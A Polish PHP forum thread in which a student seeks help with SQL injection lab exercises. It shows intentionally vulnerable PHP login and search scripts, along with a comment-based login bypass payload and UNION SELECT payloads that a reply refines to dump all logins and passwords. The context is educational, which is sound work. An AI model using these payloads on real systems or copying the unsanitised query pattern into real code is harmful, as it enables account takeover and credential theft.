Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: sql injection
Forum PHP.pl > Forum > PHP
szokmen
Witam,
dostałem do zrobienia ćwiczenia które mam wykonać na podstawie materiałów dołączonych do ćwiczeń. Jednak nie mogę zrobić dwóch zadań:
Pierwsze:
Używając skryptu P02.php zalogować się na konto admin wykorzystując komentowanie niechcianego fragmentu zapytania.

Skrypt P02.php;
  1. <?php
  2. include('cfg.php');
  3. $z="SELECT id FROM uzytkownicy WHERE login='$login' AND haslo='$haslo'";
  4. echo($z.'<br>');
  5. $q=mysql_query($z);
  6. if (isset($txt['id'])) {big('Zalogowany! ID: '.$txt['id']);} else {big('Error');}
  7. ?>

cfg.php to tylko połączenie z bazą.
Według materiałów powinno to zostać zrobione mniej więcej tak zapytanie w P02.php powinniśmy zmienić na:
  1. SELECT id FROM użytkownicy WHERE login =&#8217;/*
a w przeglądarce internetowej powinniśmy wpisać htp://adres/lokalizacja/nazwa_skryptu.php?login=admin'/* (oczywiście powinny być dwa "t" w http.)

Drugie zadanie:
Wykorzystując umiejętności z poprzednich zadań oraz funkcję PHP concat, a także skrypt P04.php wydobyć z bazy wszystkie loginy i hasła znajdujące się w bazie MySQL.

Skrypt P04.php:
  1. <?php
  2. include('cfg.php');
  3. $z="SELECT login FROM uzytkownicy WHERE login LIKE '$login%' LIMIT 2";
  4. echo($z.'<br>');
  5. $q=mysql_query($z);
  6. echo('<br>Znalezione rekordy:<br>');
  7. while ($txt=mysql_fetch_array($q)){
  8. echo($txt['login'].'<br>');
  9. }
  10. ?>


według materiałów powinno to zostać zrobione tak, zapytanie w skrypcie P04.php zamieniamy na:
  1. SELECT login FROM użytkownicy WHERE login LIKE &#8217;%’ AND 1=2 UNION SELECT haslo from uzytkownicy /* LIMIT 2

a w przeglądarkę wpisujemy htp://adres/lokalizacja/nazwa_skryptu.php?login=%' and 1=2 union select haslo from
uzytkownicy /*

Proszę o wskazówki co robię nie tak.
Fifi209
w drugim ma być:

' and 1=2 union select concat_ws(':',login,haslo) /*

a w pierwszym powinno śmigać.
Zobacz czy nie masz włączonego magic_quotes
kiler129
Widzę, że uczysz się programować. Wyrób sobie dobre nawyki jak np. używanie PDO zamiast mysql_*().
PHP staje się coraz bardziej obiektowym językiem i niektóre funckje stają sie depraced, poleganie na np. magic quotes się niedługo skończy winksmiley.jpg
Fifi209
Cytat(kiler129 @ 5.11.2010, 00:41:31 ) *
Widzę, że uczysz się programować. Wyrób sobie dobre nawyki jak np. używanie PDO zamiast mysql_*().
PHP staje się coraz bardziej obiektowym językiem i niektóre funckje stają sie depraced, poleganie na np. magic quotes się niedługo skończy winksmiley.jpg

Przeczytaj jego post jeszcze kilka razy. Jak dla mnie on uczy się o atakach SQL Injection i do końca nie rozumie materiału. ;]
kiler129
Faktycznie winksmiley.jpg
To tK jest jak się pisze po nocach kod i odłożone na forum;)

A zadanie przypomina mi takowe z tdhack wiec pytanie o rozwiazanie jest wojen hehehhe winksmiley.jpg
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.